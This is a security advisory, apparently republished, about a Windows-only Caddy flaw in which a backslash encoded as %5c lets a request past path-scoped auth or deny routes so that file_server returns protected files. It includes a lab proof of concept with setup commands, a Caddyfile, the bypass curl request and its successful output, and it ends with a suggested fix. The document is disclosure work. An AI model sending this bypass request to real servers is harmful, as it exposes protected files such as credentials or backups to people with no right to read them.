| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/caddyserver/caddy | ≤ 1.0.5 | |
| github.com/caddyserver/caddy/v2 | < 2.11.4 | 2.11.4 |
| caddy | < 2.11.4 | 2.11.4 |
On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.
An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.
The mismatch is between two Caddy code paths:
MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.modules/caddyhttp/routes.go:271.file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.\ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.
Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.
On Windows, create the test files and Caddyfile:
$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII
@'
{
debug
admin off
auto_https off
}
:19080 {
log
root * C:\Users\Public\caddy-backslash-poc\www
@private path /private/*
respond @private 403
file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeStart Caddy:
cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile
Baseline request, expected to be blocked:
curl -v --path-as-is http://<windows-host>:19080/private/secret.txt
Observed:
> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden
Bypass request:
curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'
Observed:
> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23
SECRET_FROM_WINDOWS_LAB
Uppercase %5C produces the same result.
Relevant debug log lines:
{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}
This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.
This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.
An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.
Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.
The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.
LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.